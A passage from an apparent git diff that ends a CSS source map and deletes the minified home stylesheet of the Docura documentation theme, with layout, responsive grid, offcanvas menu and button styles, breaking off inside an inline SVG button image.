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" -} \ No newline at end of file diff --git a/public/scss/home.css b/public/scss/home.css deleted file mode 100644 index 8de9d5c..0000000 --- a/public/scss/home.css +++ /dev/null @@ -1,7 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */*:where(:not(html, iframe, canvas, img, svg, video, audio, pre, code):not(svg *, symbol *)){all:unset;display:revert}*,*::before,*::after{box-sizing:border-box}html{-moz-text-size-adjust:none;-webkit-text-size-adjust:none;text-size-adjust:none}a,button{cursor:revert}ol,ul,menu{list-style:none}img{max-inline-size:100%;max-block-size:100%}table{border-collapse:collapse}input,textarea{-webkit-user-select:auto}textarea{white-space:revert}meter{-webkit-appearance:revert;appearance:revert}:where(pre){all:revert;box-sizing:border-box}::placeholder{color:unset}::marker{content:initial}:where([hidden]){display:none}:where([contenteditable]:not([contenteditable="false"])){-moz-user-modify:read-write;-webkit-user-modify:read-write;overflow-wrap:break-word;-webkit-line-break:after-white-space;-webkit-user-select:auto}:where([draggable="true"]){-webkit-user-drag:element}:where(dialog:modal){all:revert;box-sizing:border-box}pre,code{margin:0}:root{--site-header-height: 46px;--site-footer-height: 46px}@media (min-width: 1025px) and (max-width: 1280px),(min-width: 1024px) and (max-width: 1280px) and (orientation: portrait){:root{--site-header-height: 60px;--site-footer-height: 60px}}@media (min-width: 1281px){:root{--site-header-height: 80px;--site-footer-height: 80px}}body{font-family:var(--font-family);background:var(--background);color:var(--color);display:flex;flex-direction:column;min-height:100svh}#site-header{display:grid;grid-template-columns:2fr 1fr;grid-template-rows:repeat(3, var(--site-header-height))}#site-header-menu,#site-header-search{grid-column:1 / 3}#site-footer{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:repeat(3, var(--site-footer-height))}#site-footer-copyright,#site-footer-love{grid-column:1 / 3}#site-main-content-wrapper{display:flex;flex:1}#sidebar,#toc,#article-nav,#sidebar .btn-close,#toc .btn-close{display:none}main{flex:1;display:flex;overflow:auto}#article{flex:1;width:100vw}#sidebar{width:85%;left:-85%}#toc{width:85%;right:-85%}@media (min-width: 768px) and (max-width: 1023px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:repeat(2, var(--site-header-height))}#site-header-brand{grid-column:1 / 6}#site-header-controls{grid-column:6 / 7}#site-header-menu{grid-column:1 / 5}#site-header-search{grid-column:5 / 7}#site-footer{grid-template-columns:repeat(4, 1fr);grid-template-rows:repeat(2, var(--site-footer-height))}#site-footer-copyright{grid-column:1 / 3}#site-footer-social{grid-column:3 / 4}#site-footer-fund{grid-column:4 / 5}#site-footer-love{grid-column:1 / 5}#sidebar{width:50%;left:-50%}#toc{width:50%;right:-50%}}@media (min-width: 1024px){#site-header{grid-template-columns:repeat(6, 1fr);grid-template-rows:var(--site-header-height)}#site-header-brand{grid-column:1 / 2}#site-header-menu{grid-column:2 / 5;grid-row:1}#site-header-search{grid-column:5 / 6;grid-row:1}#site-header-controls{grid-column:6 / 7}#site-footer{grid-template-columns:repeat(5, 1fr);grid-template-rows:var(--site-footer-height)}#site-footer-copyright{grid-column:1 / 3}#site-footer-love{grid-column:3 / 4;grid-row:1}#site-footer-social{grid-column:4 / 5}#site-footer-fund{grid-column:5 / 6}#article-nav-toc-btn{display:none}}@media (min-width: 1024px) and (max-width: 1279px){#sidebar{width:33%;left:-33%}#article{width:75vw}#toc{width:25%;display:flex;flex-direction:column}#toc .sticky{position:fixed;right:0;width:25%}}@media (min-width: 1280px){#sidebar{width:20%;display:flex;flex-direction:column}#article{width:60vw}#toc{width:25%;display:flex;flex-direction:column}#sidebar .sticky{position:fixed;left:0;width:20%}#toc .sticky{position:fixed;right:0;width:20%}}@media (max-width: 1023px){#toc{position:fixed;top:0;height:100%;transition:.3s;z-index:300;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #toc,:root[data-color="night"] #toc{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-toc-on #toc{animation:slide-in-right .3s forwards;display:flex;flex-direction:column;padding-left:16px;z-index:10;cursor:default}.offcanvas-toc-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-toc-on #toc .btn-close{display:block;position:absolute;top:10px;left:10px}#article-nav-toc-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}@media (max-width: 1279px){#sidebar{position:fixed;top:0;height:100%;transition:.3s;z-index:200;overflow-x:auto;background:var(--background);box-shadow:0 4px 30px rgba(0,0,0,0.1)}:root[data-color="dark"] #sidebar,:root[data-color="night"] #sidebar{box-shadow:0 4px 30px rgba(255,255,255,0.1)}.offcanvas-sidebar-on #sidebar{animation:slide-in-left .3s forwards;display:flex;flex-direction:column;z-index:10;cursor:default}.offcanvas-sidebar-on:before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;z-index:5}.offcanvas-sidebar-on #sidebar .btn-close{display:block;position:absolute;top:10px;right:10px}#article-nav{display:flex;gap:12px;overflow:auto;justify-content:space-between;height:var(--site-header-height);align-items:center;padding:0 2px}#article-nav-menu-btn{display:flex;box-shadow:var(--box-shadow2);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap;gap:6px;color:var(--color2)}}body.offcanvas-sidebar-on,body.offcanvas-toc-on{cursor:pointer;overflow:hidden}.offcanvas-sidebar-on:before,.offcanvas-toc-on:before{background:rgba(255,255,255,0.1);backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}@keyframes slide-in-left{from{transform:translateX(0)}to{transform:translateX(100%)}}@keyframes slide-in-right{from{transform:translateX(0)}to{transform:translateX(-100%)}}#site-header-brand{display:flex;align-items:center;font-family:var(--font-family-brand);font-size:1.4em;color:var(--color2)}#site-header-brand a{padding:12px}#site-header-menu{padding:0 12px;display:flex;align-items:center;color:var(--color3)}#site-header-menu nav{width:100%;overflow:auto}#site-header-menu ul{display:flex;height:100%;align-items:center;gap:12px}#site-header-menu a{display:flex;padding:12px 6px;gap:3px;white-space:nowrap}#site-header-menu a:focus,#site-header-menu a:hover,#site-header-menu a.active{border-bottom:3px solid}#site-header-controls{display:flex;align-items:center;padding-right:12px;justify-content:flex-end;gap:12px}#site-header-search{display:flex;align-items:flex-end}@media (min-width: 768px){#site-header-search{align-items:center}}#site-footer-social{display:flex;gap:12px;justify-content:flex-start;padding-left:12px;align-items:center}#site-footer-fund{display:flex;gap:12px;overflow:auto;justify-content:flex-end;padding-right:12px;align-items:center}#site-footer-copyright,#site-footer-love{display:flex;align-items:center;justify-content:center;color:var(--color3)}#site-footer-copyright a{display:flex;align-items:center}@media (min-width: 768px){#site-footer-copyright{justify-content:flex-start;padding-left:12px}#site-footer-social{justify-content:flex-end;padding-right:12px}}.cover{padding:40px 20px;width:100vw;flex:1;display:flex;align-items:center;justify-content:center;flex-direction:column;background:var(--home-cover-background);position:relative;color:var(--color2)}.cover::after{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1;background:inherit;filter:blur(1rem)}.cover h1{font-family:var(--font-family-brand);font-size:4em;text-align:center}.cover h2{font-family:var(--font-family-brand);font-size:2em;text-align:center}.cover h3{font-family:var(--font-family-brand);font-size:1.5em;text-align:center;padding-top:.8em}.cover p{font-size:1em;padding-top:.8em}.github-buttons{display:flex;gap:10px;padding-top:20px;justify-content:center}.github-repos-grid{display:flex;flex-wrap:wrap;padding-top:4em;padding-bottom:2em;gap:4em;width:100%}.github-repo-tile{width:100%}.github-repo-tile .icon{width:80px;height:80px;background-size:5em}.github-repo-tile a{display:flex;flex-direction:column;align-items:center}@media (min-width: 768px){.github-repos-grid{flex-direction:row;width:80%;padding-top:4em;gap:0}.github-repo-tile{width:50%}}@media (min-width: 1024px){.github-repos-grid{width:60%;padding-top:6em}.github-repo-tile .icon{width:100px;height:100px;background-size:6.25em}}@media (min-width: 1281px){.github-repos-grid{width:50%}.github-repo-tile .icon{width:120px;height:120px;background-size:7.5em}}@media (min-width: 1920px){.github-repos-grid{width:40%}.github-repo-tile .icon{width:160px;height:160px;background-size:10em}}.btn-github{display:flex;flex-direction:row;gap:2px;font-size:.7em;font-weight:700;line-height:1.8em;color:#576060;background:#f6f8fa;border:1px solid #d5d7da;border-radius:6px;padding:2px 4px}:root[data-color="dark"] .btn-github,:root[data-color="night"] .btn-github{color:#c9d1d9;background:#21262d;border:1px solid #576060}.btn-github .icon{transform:scale(0.8)}.btn-buymeacoffee{width:86px;height:24px;background-image:url("data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 